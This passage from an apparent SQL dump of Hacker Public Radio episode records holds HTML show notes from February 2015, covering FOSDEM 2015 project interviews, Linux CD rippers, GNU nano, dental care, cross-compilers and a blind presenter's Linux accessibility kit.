\r\n\r\n\r\n<h2>Music</h2>\r\n<pre>\r\nTrack name : Free Software Song\r\nPerformer : Fenster\r\nRecorded date : 2002\r\nCopyright : Copyright (C) 2002, \r\nFenster LLC. Verbatim copying of this entire recording is permitted in any medium, \r\nprovided this notice is preserved. \r\nPerformers: \r\nPaul Robinson (vocals), \r\nRoman Kravec (guitar), \r\nEd D\'Angelo (bass), \r\nDave Newman (drums), \r\nBrian Yarbrough (trumpet), \r\nTony Moore (trumpet). \r\nFree software info at www.gnu.org speeches at audio-video.gnu.org/audio\r\n</pre>\r\n',30,78,1,'CC-BY-SA','Wikimedia, Hack the Knit, Jitsi, XMMP, Kolab, DoudouLinux',0,0,1),
(1701,'2015-02-09','FOSDEM 2015 Part 4 of 5',2576,'Agora Voting, DIYBookScanner, OpenEmbedded, Amateur Radio, kodi formerly XBMC','<p>\r\n<img src=\"https://fosdem.org/2015/assets/style/logo-big-a5243e4d7e00f8bc6816e2b3f3804f505a17ae4832e6e52a24d183617e03a87c.png\" alt=\"logo\" />\r\n<br />\r\nWebsite: <a href=\"https://fosdem.org/2015/\" target=\"_blank\">https://fosdem.org/2015/</a>\r\n</p>\r\n<blockquote cite=\"https://fosdem.org/2015/about/\">\r\nFOSDEM is a two-day event organised by volunteers to promote the widespread use of open source software. Videos of the talks refered to in this show are made available on their website.\r\n</blockquote>\r\n\r\n<h2>Agora Voting</h2>\r\n<p>\r\n<img alt=\"headshot\" src=\"https://media.licdn.com/media/p/2/000/06d/336/2b99495.jpg\" height=\"308\" /><br />\r\n</p>\r\n<p>Listen to the interview with Eduardo Robles</p>\r\n<audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1701.ogg#t=70,732\" type=\"audio/ogg\" >\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1701.mp3#t=70,732\" type=\"audio/mpeg\" >\r\n</audio>\r\n<p>\r\n<img src=\"https://agoravoting.org/imgs/agoravoting-horizontal.png\" alt=\"logo\" />\r\n<br />\r\nWebsite: <a href=\"https://agoravoting.org/\" target=\"_blank\">https://agoravoting.org/</a>\r\n</p>\r\n<blockquote cite=\"https://agoravoting.org/\">\r\nAgora Voting is an open source voting software that allows any organization to carry out secure, flexible, transparent and cost-effective electoral processes.\r\n</blockquote>\r\n\r\n<h2>DIYBookScanner</h2>\r\n<p>\r\n<img alt=\"headshot\" src=\"https://i1.wp.com/makezineblog.files.wordpress.com/2014/08/johannes-baiter-head-shot.jpg\" height=\"308\" /><br />\r\n</p>\r\n<p>Listen to the interview with Johannes Baiter</p>\r\n<audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1701.ogg#t=732,1346\" type=\"audio/ogg\" >\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1701.mp3#t=732,1346\" type=\"audio/mpeg\" >\r\n</audio>\r\n<p>\r\n<img height=\"80\" src=\"https://makezineblog.files.wordpress.com/2014/08/dsc09059.jpg\" alt=\"logo\" />\r\n<br />\r\nWebsite: <a href=\"https://github.com/DIYBookScanner/spreads\" target=\"_blank\">https://github.com/DIYBookScanner/spreads</a>\r\n</p>\r\n<blockquote cite=\"https://github.com/DIYBookScanner/spreads\">\r\nspreads is a software suite for the digitization of printed material. Its main focus is to integrate existing solutions for individual parts of the scanning workflow into a cohesive package that is intuitive to use and easy to extend. At its core, it handles the communication with the imaging devices, the post-processing of the captured material and its assembly into output formats like PDF or ePub. On top of this base layer, we have built a variety of interfaces that should fit into most use cases: A full-fledged and mobile-friendly web interface that can be served from even the most low-powered devices (like a Raspberry Pi), a graphical wizard for classical desktop users and a bare-bones command-line interface for purists.\r\n</blockquote>\r\n\r\n<h2>OpenEmbedded</h2>\r\n<!--<p>\r\n<img alt=\"headshot\" src=\"\" height=\"308\" /><br />\r\n</p>-->\r\n<p>Listen to the interview with Ulf Samuelsson</p>\r\n<audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1701.ogg#t=1346,1595\" type=\"audio/ogg\" >\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1701.mp3#t=1346,1595\" type=\"audio/mpeg\" >\r\n</audio>\r\n<p>\r\n<img src=\"https://www.openembedded.org/skins/common/images/logo.png\" alt=\"logo\" />\r\n<br />\r\nWebsite: <a href=\"https://www.openembedded.org\" target=\"_blank\">https://www.openembedded.org</a>\r\n</p>\r\n<blockquote cite=\"https://www.openembedded.org\">\r\nWelcome to OpenEmbedded, the build framework for embedded Linux. OpenEmbedded offers a best-in-class cross-compile environment. It allows developers to create a complete Linux Distribution for embedded systems. \r\n</blockquote>\r\n\r\n<h2>UBA Royal Belgian Amateur Radio Union/Deutscher Amateur-Radio-Club e. V.</h2>\r\n<!--<p>\r\n<img alt=\"headshot\" src=\"\" height=\"308\" /><br />\r\n</p>-->\r\n<p>Listen to the interview with Kristoff Bonne</p>\r\n<audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1701.ogg#t=1595,1963\" type=\"audio/ogg\" >\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1701.mp3#t=1595,1963\" type=\"audio/mpeg\" >\r\n</audio>\r\n<p>\r\n<img src=\"https://upload.wikimedia.org/wikipedia/en/3/37/UBA_logo.png\" alt=\"logo\" />\r\n<br />\r\nWebsite: <a href=\"https://www.uba.be/\" target=\"_blank\">https://www.uba.be/</a>\r\n</p>\r\n<blockquote cite=\"https://en.wikipedia.org/wiki/Royal_Union_of_Belgian_Radio_Amateurs\">\r\nThe Royal Union of Belgian Radio Amateurs (UBA) (in Dutch, Koninklijke Unie van de Belgische Zendamateurs, in French Union Royale Belge des Amateurs-Emetteurs, in German Königliche Union der Belgischen Funkamateure) is a national non-profit organization for amateur radio enthusiasts in Belgium. UBA is the national member society representing Belgium in the International Amateur Radio Union.\r\n</blockquote>\r\n<p>\r\n<img src=\"https://upload.wikimedia.org/wikipedia/en/1/1b/Darc_logo.png\" alt=\"logo\" />\r\n<br />\r\nWebsite: <a href=\"https://www.darc.de/\" target=\"_blank\">https://www.darc.de/</a>\r\n</p>\r\n<blockquote cite=\"https://en.wikipedia.org/wiki/Deutscher_Amateur-Radio-Club\">\r\nThe Deutsche Amateur-Radio-Club e.V. (DARC) (in English, German Amateur Radio Club) is a national non-profit organization for amateur radio enthusiasts in Germany. As of 1 January 2008, the organization had 44,246 members, approximately 60% of all licensed amateur radio operators in Germany. Key membership benefits of the organization include QSL bureau services, a monthly membership magazine called CQ DL, and the promotion and sponsorship of radio contests. DARC promotes amateur radio by organizing classes and technical support to help enthusiasts earn their amateur radio license. The DARC also represents the interests of German amateur radio operators and shortwave listeners before German and international telecommunications regulatory authorities. DARC is the national member society representing Germany in the International Amateur Radio Union.\r\n</blockquote>\r\n\r\n<h2>kodi formerly XBMC</h2>\r\n<p>\r\n<img alt=\"headshot\" src=\"https://media.licdn.com/mpr/mpr/shrink_200_200/p/5/000/21a/3f5/31dc4a3.jpg\" height=\"308\" /><br />\r\n</p>\r\n<p>Listen to the interview with Ejal de Klerk</p>\r\n<audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1701.ogg#t=1963,2456\" type=\"audio/ogg\" >\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1701.mp3#t=1963,2456\" type=\"audio/mpeg\" >\r\n</audio>\r\n<p>\r\n<img src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/2/25/Kodi-logo-Thumbnail-light-transparent.png/120px-Kodi-logo-Thumbnail-light-transparent.png\" alt=\"logo\" />\r\n<br />\r\nWebsite: <a href=\"https://kodi.tv/\" target=\"_blank\">https://kodi.tv/</a>\r\n</p>\r\n<blockquote cite=\"https://kodi.tv/about/\">\r\nKodi (formerly known as XBMC) is an award-winning free and open source (GPL) software media player and entertainment hub that can be installed on Linux, OSX, Windows, iOS, and Android, featuring a 10-foot user interface for use with televisions and remote controls. It allows users to play and view most videos, music, podcasts, and other digital media files from local and network storage media and the internet.\r\n</blockquote>\r\n\r\n<h2>Music</h2>\r\n<pre>\r\nTrack name : Free Software Song\r\nPerformer : Fenster\r\nRecorded date : 2002\r\nCopyright : Copyright (C) 2002, \r\nFenster LLC. Verbatim copying of this entire recording is permitted in any medium, \r\nprovided this notice is preserved. \r\nPerformers: \r\nPaul Robinson (vocals), \r\nRoman Kravec (guitar), \r\nEd D\'Angelo (bass), \r\nDave Newman (drums), \r\nBrian Yarbrough (trumpet), \r\nTony Moore (trumpet). \r\nFree software info at www.gnu.org speeches at audio-video.gnu.org/audio\r\n</pre>\r\n',30,78,1,'CC-BY-SA','Agora Voting, DIYBookScanner, OpenEmbedded, Amateur Radio, kodi formerly XBMC',0,0,1),
(1702,'2015-02-10','FOSDEM 2015 Part 5 of 5',3733,'ReactOS, CoreOS, WolfSSL, PicoTCP, Ultimaker, CoreBoot and Flashrom, SatNOGS','<h2>ReactOS</h2>\r\n<p>\r\n<img alt=\"headshot\" src=\"https://pbs.twimg.com/profile_images/483715387020685312/eXRnc45u_400x400.png\" height=\"308\" /><br />\r\n</p>\r\n<p>Listen to the interview with Aleksey Bragin</p>\r\n<audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1702.ogg#t=70,405\" type=\"audio/ogg\" >\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1702.mp3#t=70,405\" type=\"audio/mpeg\" >\r\n</audio>\r\n<p>\r\n<img src=\"https://www.reactos.org/sites/all/themes/zen_reactos/images/reactos-logo.png\" alt=\"logo\" />\r\n<br />\r\nWebsite: <a href=\"https://www.reactos.org/\" target=\"_blank\">https://www.reactos.org/</a>\r\n</p>\r\n<blockquote cite=\"https://www.reactos.org/\">\r\nReactOS® is a free open source operating system based on the best design principles found in the Windows NT® architecture (Windows versions such as Windows XP, Windows 7, Windows Server 2012 are built on Windows NT architecture). Written completely from scratch, ReactOS is not a Linux based system, and shares none of the UNIX architecture. The main goal of the ReactOS® project is to provide an operating system which is binary compatible with Windows. This will allow your Windows® applications and drivers to run as they would on your Windows system. Additionally, the look and feel of the Windows operating system is used, such that people accustomed to the familiar user interface of Windows® would find using ReactOS straightforward. The ultimate goal of ReactOS® is to allow you to use it as alternative to Windows® without the need to change software you are used to.\r\n</blockquote>\r\n\r\n<h2>CoreOS</h2>\r\n<p>\r\n<img alt=\"headshot\" src=\"https://media.licdn.com/mpr/mpr/shrink_200_200/p/7/005/009/1ba/0c901af.jpg\" height=\"308\" /><br />\r\n</p>\r\n<p>Listen to the interview with Kelsey Hightower</p>\r\n<audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1702.ogg#t=405,623\" type=\"audio/ogg\" >\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1702.mp3#t=405,623\" type=\"audio/mpeg\" >\r\n</audio>\r\n<p>\r\n<img src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/f/f4/Coreos-wordmark-horiz-color.png/220px-Coreos-wordmark-horiz-color.png\" alt=\"logo\" />\r\n<br />\r\nWebsite: <a href=\"https://coreos.com/\" target=\"_blank\">https://coreos.com/</a>\r\n</p>\r\n<blockquote cite=\"https://coreos.com/\">\r\nCoreOS is a new Linux distribution that has been rearchitected to provide features needed to run modern infrastructure stacks. The strategies and architectures that influence CoreOS allow companies like Google, Facebook and Twitter to run their services at scale with high resilience.\r\n</blockquote>\r\n\r\n\r\n<h2>WolfSSL</h2>\r\n<p>\r\n<img alt=\"headshot\" src=\"https://media.licdn.com/mpr/mpr/shrink_200_200/p/5/005/071/0d2/087f453.jpg\" height=\"308\" /><br />\r\n</p>\r\n<p>Listen to the interview with Chris Conlon</p>\r\n<audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1702.ogg#t=623,958\" type=\"audio/ogg\" >\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1702.mp3#t=623,958\" type=\"audio/mpeg\" >\r\n</audio>\r\n<p>\r\n<img src=\"https://wolfssl.com/yaSSL/About_files/wolfssl_logo.png\" alt=\"logo\" />\r\n<br />\r\nWebsite: <a href=\"https://wolfssl.com/yaSSL/Home.html\" target=\"_blank\">https://wolfssl.com/yaSSL/Home.html</a>\r\n</p>\r\n<blockquote cite=\"https://wolfssl.com/yaSSL/About.html\">\r\nwolfSSL focuses on providing lightweight and embedded security solutions with an emphasis on speed, size, portability, features, and standards compliance.  Dual licensed to cater to a diversity of users ranging from the hobbyist to the user with commercial needs, we are happy to help our customers and community in any way we can.  Our products are Open Source giving customers the freedom to look under the hood.\r\n</blockquote>\r\n\r\n\r\n<h2>PicoTCP</h2>\r\n<p>\r\n<img alt=\"headshot\" src=\"https://avatars3.githubusercontent.com/u/4725999\" height=\"308\" /><br />\r\n</p>\r\n<p>Listen to the interview with Maarten Vandersteegen</p>\r\n<audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1702.ogg#t=958,1279\" type=\"audio/ogg\" >\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1702.mp3#t=958,1279\" type=\"audio/mpeg\" >\r\n</audio>\r\n<p>\r\n<img height=\"80\" src=\"https://static1.squarespace.com/static/530e4682e4b0984e87ed0fee/t/54a1141ee4b0510339b65d9f/1420702042650/\" alt=\"logo\" />\r\n<br />\r\nWebsite: <a href=\"https://www.picotcp.com/\" target=\"_blank\">https://www.picotcp.com/</a>\r\n</p>\r\n<blockquote cite=\"https://www.picotcp.com/\">\r\npicoTCP is a TCP/IP stack developed from scratch for embedded devices with an eye on the Internet of Things revolution.\r\n</blockquote>\r\n\r\n\r\n<h2>Ultimaker</h2>\r\n<p>\r\n<img alt=\"headshot\" src=\"https://avatars2.githubusercontent.com/u/1245341\" height=\"308\" /><br />\r\n</p>\r\n<p>Listen to the interview with Olliver Schinagl</p>\r\n<audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1702.ogg#t=1279,1853\" type=\"audio/ogg\" >\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1702.mp3#t=1279,1853\" type=\"audio/mpeg\" >\r\n</audio>\r\n<p>\r\n<img height=\"80\" src=\"https://ultimaker.com/img/logo-textblue.svg\" alt=\"logo\" />\r\n<br />\r\nWebsite: <a href=\"https://www.ultimaker.com/\" target=\"_blank\">https://www.ultimaker.com/</a>\r\n</p>\r\n<blockquote cite=\"https://www.ultimaker.com/\">\r\nWe wanted everyone to be able to enjoy the experience of making. Whether it was a cat dressed as an astronaut or a mechanical masterpiece. We set it as our goal to enable you to make those things. So we built a pioneering device that everyone could use and enjoy. We made it open source so everyone really could pitch in. And we started to grow.\r\n</blockquote>\r\n\r\n<h2>coreboot + flashrom</h2>\r\n<p>\r\n<img alt=\"headshot\" src=\"https://www.irill.org/media/fosdem2012/maintracks/Coreboot.webm-1-1.jpg\" height=\"308\" /><br />\r\n</p>\r\n<p>Listen to the interview with Carl-Daniel Hailfinger</p>\r\n<audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1702.ogg#t=1853,3022\" type=\"audio/ogg\" >\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1702.mp3#t=1853,3022\" type=\"audio/mpeg\" >\r\n</audio>\r\n<p>\r\n<img height=\"80\" src=\"https://www.coreboot.org/coreboot.png\" alt=\"logo\" />\r\n<br />\r\nWebsite: <a href=\"https://www.coreboot.org/\" target=\"_blank\">https://www.coreboot.org/</a>\r\n</p>\r\n<blockquote cite=\"https://www.coreboot.org/\">\r\ncoreboot is an extended firmware platform for delivering lightning fast and ultra secure boot experience on modern computers and embedded systems. As an Open Source project it provides auditability and helps regaining control over technology.\r\n</blockquote>\r\n\r\n<h2>SatNOGS</h2>\r\n<p>\r\n<img alt=\"headshot\" src=\"https://pbs.twimg.com/profile_images/378800000637541997/f01685d926aae6b4386063f64e49a704_400x400.jpeg\" height=\"308\" /><br />\r\n</p>\r\n<p>Listen to the interview with Pierros Papadeas</p>\r\n<audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1702.ogg#t=3022,3660\" type=\"audio/ogg\" >\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1702.mp3#t=3022,3660\" type=\"audio/mpeg\" >\r\n</audio>\r\n<p>\r\n<img src=\"https://satnogs.org/wp-content/uploads/2015/01/satnogs-logo-horizontal-e1420580499529.png\" alt=\"logo\" />\r\n<br />\r\nWebsite: <a href=\"https://satnogs.org/\" target=\"_blank\">https://satnogs.org/</a>\r\n</p>\r\n<blockquote cite=\"https://satnogs.org/about/\">\r\nSatNOGS project is a complete platform of an Open Source Networked Ground Station. The scope of the project is to create a full stack of open technologies based on open standards , and the construction of a full ground station as a showcase of the stack.\r\n</blockquote>\r\n',30,78,1,'CC-BY-SA','ReactOS, CoreOS, WolfSSL, PicoTCP, Ultimaker, CoreBoot and Flashrom, SatNOGS',0,0,1),
(1704,'2015-02-12','Introducing Jeffrey Powers aka Geekazine',1543,'Jeffrey Powers talks \"*azines\" and his other tech sites','<p>\r\nI was asked to do a followup to my Introduction to the Netizen Empowerment Federation. Specifically, I was asked to talk a bit more about the goals of Sportazine.com and how it fits into free culture. I thought the best way to do that was to introduce my Sportazine.com co-founder, Jeffrey Powers. \r\n</p>\r\n<p>\r\nA May 2011 estimate puts the sports industry at 350-450 billion ($480-$620 billion) <a href=\"https://www.atkearney.com/en_GB/paper/-/asset_publisher/dVxv4Hz2h8bS/content/the-sports-market/10192\">https://www.atkearney.com/en_GB/paper/-/asset_publisher/dVxv4Hz2h8bS/content/the-sports-market/10192</a> -- it is inarguably foolish to ignore it. I don\'t think you are going to convince anyone to change their ways by shouting at them, or quietly being condescending.\r\n</p>\r\n<p>\r\nListen to find out Jeff\'s answers!\r\n</p>\r\n<p>\r\nHow has Sportazine changed from your initial vision when we created it almost 5 years ago?\r\n</p>\r\n<p>\r\nWhat is JMP?\r\n</p>\r\n<p>\r\nWe\'re recording on Jan 16. What\'s the tech history bit people should check out on your site for today?\r\n</p>\r\n<p>\r\nDo you do interviews for any of your sites? \r\n</p>\r\n<p>\r\nHow do you vet interviewees?\r\n</p>\r\n<p>\r\nWhat is the best way for someone to get in touch with you if they\'d like to be an interviewee?\r\n</p>\r\n<p>\r\nWhere are you speaking to you today from Jeff?\r\n</p>\r\n<p>\r\nWhat are your favorite sports to watch or play?\r\n</p>\r\n<p>\r\nHow far do you think the Packers will go this year? We\'re recording on Jan 16, but there aren\'t open slots on HPR for a while, so people may get to see if you are right.\r\n</p>\r\n<p>\r\nProfessional video game players get athletic visas in the US, and are covered by ESPN (<a href=\"https://kotaku.com/some-sports-fans-upset-espn-is-airing-video-game-tourna-1608298005\">https://kotaku.com/some-sports-fans-upset-espn-is-airing-video-game-tourna-1608298005</a>) so I suppose we might as well. How much do you cover video games on your various sites?\r\n</p>\r\n<p>\r\nWhat is the name of your band, and where can people find the band?\r\n</p>\r\n<p>\r\nIs there anything else you would like to tell the listeners?\r\n</p>',294,0,0,'CC-BY-SA','tech, apps, ipad, android',0,0,1),
(1703,'2015-02-11','Open Source CD Rippers',1579,'Kevie takes a look at a variety of CD ripping software available on Linux','<p>\r\nFor a first attempt at flying solo for an episode of HPR, Kevie takes a look at a variety of open source CD ripping software. Looking at graphical applications \r\n<a href=\"https://wiki.gnome.org/Apps/SoundJuicer\">https://wiki.gnome.org/Apps/SoundJuicer</a>: Sound Juicer and\r\n<a href=\"https://littlesvr.ca/asunder/\">https://littlesvr.ca/asunder/</a>: Asunder along with the command line tools\r\n<a href=\"https://bashburn.dose.se/\">https://bashburn.dose.se/</a>: Bashburn and\r\n<a href=\"https://bach.dynet.com/crip/\">https://bach.dynet.com/crip/</a>: Crip. Along with considering if it is worth having a dedicated ripping tool when a fully fledged audio suite\r\n<a href=\"https://wiki.gnome.org/Apps/Rhythmbox/\">https://wiki.gnome.org/Apps/Rhythmbox/</a>: Rhythmbox and\r\n<a href=\"https://www.videolan.org/vlc/\">https://www.videolan.org/vlc/</a>: VLC will also allow ripping.\r\n</p><p>\r\nRegular listeners to the <a href=\"https://unseenstudio.co.uk/category/tuxjam-ogg/\">https://unseenstudio.co.uk/category/tuxjam-ogg/</a>: TuxJam podcast will know that Kevie is a big fan of creative commons music and this episode is no different with the tracks by <a href=\"https://20lb.net/\">https://20lb.net/</a>: 20lb Sounds and <a href=\"https://bridgesplosion.bandcamp.com/\">https://bridgesplosion.bandcamp.com/</a>: Blowing Up Bridges.\r\n</p>\r\n<p>\r\nMusic included in this episode:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://20lb.bandcamp.com/track/rip-it-up\">https://20lb.bandcamp.com/track/rip-it-up</a>: Rip It Up by 20lb Sounds\r\n</li>\r\n<li><a href=\"https://bridgesplosion.bandcamp.com/track/grip-it-and-rip-it\">https://bridgesplosion.bandcamp.com/track/grip-it-and-rip-it</a>: Grip It and Rip It by Blowing Up Bridges\r\n<p></p>\r\n</li>\r\n</ul>\r\n',296,0,0,'CC-BY-SA','Sound Juicer,Asunder,Bashburn,Crip,Rhythmbox,VLC',0,0,1),
(1708,'2015-02-18','GNU/Nano Editor',693,'JWP emails in an episode on the Editor GNU/Nano','JWP Editor GNU/Nano\r\n\r\n<pre>\r\n                :::                         The                   \r\n  iLE88Dj.  :jD88888Dj:                                           \r\n.LGitE888D.f8GjjjL8888E;        .d8888b.  888b    888 888     888 \r\niE   :8888Et.     .G8888.      d88P  Y88b 8888b   888 888     888 \r\n;i    E888,        ,8888,      888    888 88888b  888 888     888 \r\n      D888,        :8888:      888        888Y88b 888 888     888 \r\n      D888,        :8888:      888  88888 888 Y88b888 888     888 \r\n      D888,        :8888:      888    888 888  Y88888 888     888 \r\n      D888,        :8888:      Y88b  d88P 888   Y8888 Y88b. .d88P \r\n      888W,        :8888:       \"Y8888P88 888    Y888  \"Y88888P\"  \r\n      W88W,        :8888:                                         \r\n      W88W:        :8888:      88888b.   8888b.  88888b.   .d88b. \r\n      DGGD:        :8888:      888 \"88b     \"88b 888 \"88b d88\"\"88b\r\n                  :8888:      888  888 .d888888 888  888 888  888\r\n                  :W888:      888  888 888  888 888  888 Y88..88P\r\n                  :8888:      888  888 \"Y888888 888  888  \"Y88P\" \r\n                    E888i                                         \r\n                    tW88D             Text Editor       \r\n</pre>\r\n<p>\r\nWebsite: <a href=\"https://www.nano-editor.org/\" target=\"_blank\">https://www.nano-editor.org/</a>\r\n</p>\r\n<blockquote cite=\"https://en.wikipedia.org/wiki/GNU_nano\">\r\nnano is a text editor for Unix-like computing systems or operating environments using a command line interface. It emulates the Pico text editor, part of the Pine email client, and also provides additional functionality. In contrast to Pico, nano is licensed under the GNU General Public License (GPL). Released as free software by Chris Allegretta in 1999, today nano is part of the GNU Project.\r\n</blockquote>',129,0,1,'CC-BY-SA','editors,nano,gnu/nano,pico,GPL',0,0,1),
(1709,'2015-02-19','Hacking Your Teeth',1250,'Advice on hacking your teeth','<p>\r\nThis podcast details my experiences with dentists along with a smattering of free advice.\r\n</p>\r\n<p>\r\nLink to the commonly known sunscreen song \r\n<a href=\"https://en.wikipedia.org/wiki/Wear_Sunscreen\">https://en.wikipedia.org/wiki/Wear_Sunscreen</a>\r\n</p>\r\n<p>\r\nWikipedia article about gum disease\r\n<a href=\"https://en.wikipedia.org/wiki/Periodontitis\">https://en.wikipedia.org/wiki/Periodontitis</a>\r\n</p>\r\n<p>\r\nWikipedia page on Interdental tooth brushes\r\n<a href=\"https://en.wikipedia.org/wiki/Toothbrush#Interdental_brush\">https://en.wikipedia.org/wiki/Toothbrush#Interdental_brush</a>\r\n</p>\r\n<p>\r\nTeeth with gum disease, notice that the gum doesn\'t form a sharp point between the teeth\r\n<a href=\"https://www.kmperio.co.uk/editor/assets/049B193B-857E-4FE7-BAC6-48F695DEFCBE.JPG\">https://www.kmperio.co.uk/editor/assets/049B193B-857E-4FE7-BAC6-48F695DEFCBE.JPG</a>\r\n</p>\r\n<p>\r\nHealthy gums, gum forms a sharp point between teeth.\r\n<a href=\"https://www.wisdomtoothbrushes.com/sites/default/files/styles/475_width/public/wisdom-oral-health-healthy-gums.jpg?itok=-KhFJ6Pb\">https://www.wisdomtoothbrushes.com/sites/default/files/styles/475_width/public/wisdom-oral-health-healthy-gums.jpg?itok=-KhFJ6Pb</a>\r\n</p>',201,0,1,'CC-BY-SA','gum disease,Periodontitis,Interdental tooth brush',0,0,1),
(1711,'2015-02-23','Problems with video software in Linux',827,'A person new to Linux is introduced to video software that was unimpressive','<p>\r\nCheese:<br />\r\nGuvcviewer:\r\n</p>',297,0,0,'CC-BY-SA','linux, video software, ubuntu',0,0,1),
(1706,'2015-02-16','Cross-compilers part 1',1609,'What is cross-compiling, and why I might want/need to do it','<p>\r\nCross-compilers, Part 1\r\n</p>\r\n<p>\r\nIn this show I\'ll introduce the concept of cross-compiling software, explain what it\r\nis and why you might want/need to do it.\r\n</p>\r\n<p>\r\nI\'ll also talk about a great piece of kit for creating cross-compiler tool-chains\r\non Linux; crosstool-ng.\r\n</p>\r\n<p>\r\nAs with most of my shows, the show notes are far too long to fit into the restricted size, so there\'s an HTML version as well, at:\r\n</p>\r\n<p>\r\n<a href=\"https://hackerpublicradio.org/eps/hpr1706/index.html\">https://hackerpublicradio.org/eps/hpr1706/index.html</a>\r\n</p>\r\n<p>\r\nHere are some bullet-points:\r\n</p>\r\n\r\n<ul>\r\n<li>cross-compilers, why and what?\r\n</li>\r\n<li>crosstool-ng\r\n</li>\r\n<li>Cross-compiler tool-chain generation gotchas\r\n</li>\r\n<li>Raspberry Pi cross-compiling tool-chain generation with crosstool-ng\r\n</li>\r\n<li>Compiling a kernel on a Pi takes 15 hours\r\n</li>\r\n<li>On my not-so-screaming quad-core Debian machine it takes 15 minutes\r\n</li>\r\n</ul>\r\n\r\n<h3>Links:</h3>\r\n\r\n<ul>\r\n<li>Debian Linux: <a href=\"https://www.debian.org/\">https://www.debian.org/</a>\r\n</li>\r\n<li>Raspberry Pi: <a href=\"https://www.raspberrypi.org\">https://www.raspberrypi.org</a>\r\n</li>\r\n<li>Crosstool-ng: <a href=\"https://crosstool-ng.org/\">https://crosstool-ng.org/</a>\r\n</li>\r\n<li>Arch Linux ARM: <a href=\"https://archlinuxarm.org/developers/distcc-cross-compiling\">https://archlinuxarm.org/developers/distcc-cross-compiling</a>\r\n</li>\r\n<li>Klaatu: <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\">https://hackerpublicradio.org/correspondents.php?hostid=78</a>\r\n</li>\r\n<li>Klaatu\'s Kernel Compile Show: <a href=\"https://hackerpublicradio.org/eps.php?id=0087\">https://hackerpublicradio.org/eps.php?id=0087</a>\r\n</li>\r\n</ul><p>\r\nThere are a few files for this show, the ct-ng .config files downloaded from Arch Linux ARM and a README.md about them. The original\r\nmarkdown source of the full show notes is in the tarball as well <a href=\"https://hackerpublicradio.org/eps/hpr1706/282-Mike_Ray-hpr1706-Cross-compilers_Part_1.tar.gz\">https://hackerpublicradio.org/eps/hpr1706/282-Mike_Ray-hpr1706-Cross-compilers_Part_1.tar.gz</a>.\r\n</p>',282,0,1,'CC-BY-SA','cross-compile, crosstool-ng, Raspberry Pi',0,0,1),
(1712,'2015-02-24','What\'s in my Crate',1228,'What was in my crate when I went to a LUG to give a a11y presentation','<p>\r\nBack in the summer of 2014 I started going to the Surrey Linux User Group.\r\n</p>\r\n<p>\r\nI was asked to give a short presentation about Linux accessibility and how,\r\nalthough I am totally blind, I still write code and muck about with Linux.\r\n</p>\r\n<p>\r\nI was then asked to give the same presentation at the Portsmouth LUG.\r\n</p>\r\n<p>\r\nThis time I made it more comprehensive and took more kit.\r\n</p>\r\n<p>\r\nSo I take this opportunity to give my version of the \"What\'s in my bag\"\r\nshows that some folks have been doing.  As I am unemployed, like a lot of blind\r\nfolks, I have been unable to justify this before now because I don\'t lug\r\nan interesting collection of stuff to and from work.\r\n</p>\r\n<p>\r\nHere\'s a simple bullet list about the crate and it\'s contents:\r\n</p>\r\n\r\n<ul>\r\n<li>The crate is a 35 litre capacity \'Really Useful Box\'\r\n</li>\r\n<li>First in were 2 Dell Latitude D630 (64-bit) laptops\r\n</li>\r\n<li>Next in was a Dell Inspiron (32-bit) laptop, clunky and slow\r\n</li>\r\n<li>The three laptops were sandwhiched between 3-ply layers of bubble-wrap\r\n</li>\r\n<li>Next in was a Seika 40-cell refreshable Braille display\r\n</li>\r\n<li>Next was a clear polycarbonate, zip-up pencil case stuffed with audio leads\r\n</li>\r\n<li>Then a \'Mesh\' Bluetooth and line-in external speaker\r\n</li>\r\n<li>And a Braun external speaker/FM radio/micro-SD boom-box\r\n</li>\r\n<li>A four-way mains power splitter\r\n</li>\r\n<li>The three AC adaptors for the laptops\r\n</li>\r\n<li>On the top of the box, because it was too wide to go in, was a USB keyboard\r\n</li>\r\n<li>Mobile phone charging battery \'brick\', for the Raspberry Pi\r\n</li>\r\n<li>A Raspberry Pi, a Banana Pi and some Arduino bits and pieces\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nHere\'s what I demonstrated with two of the laptops:\r\n</p>\r\n\r\n<ul>\r\n<li>Trisquel Linux and accessibility in the Gnome desktop with Orca\r\n</li>\r\n<li>Accessibility in the console with Debian and the Braille display on the Inspiron\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nThe second Latitude was with me so I could get some sighted help with\r\nBIOS settings.\r\n</p>\r\n<p>\r\nMy thanks have to go to Tony Wood for the lift to and from both of these\r\naccessibility presentations.  I could not have done either, especially the Portsmouth one without his help.\r\n</p>\r\n<p>\r\nThanks also to Lisi, the coordinator of the Portsmouth LUG and to the folks of that LUG for their enthusiasm.\r\n</p>\r\n<p>\r\nHere\'s the link to the HPR show about my Raspberry Pi tts code fix:\r\n</p>\r\n<p>\r\n<a 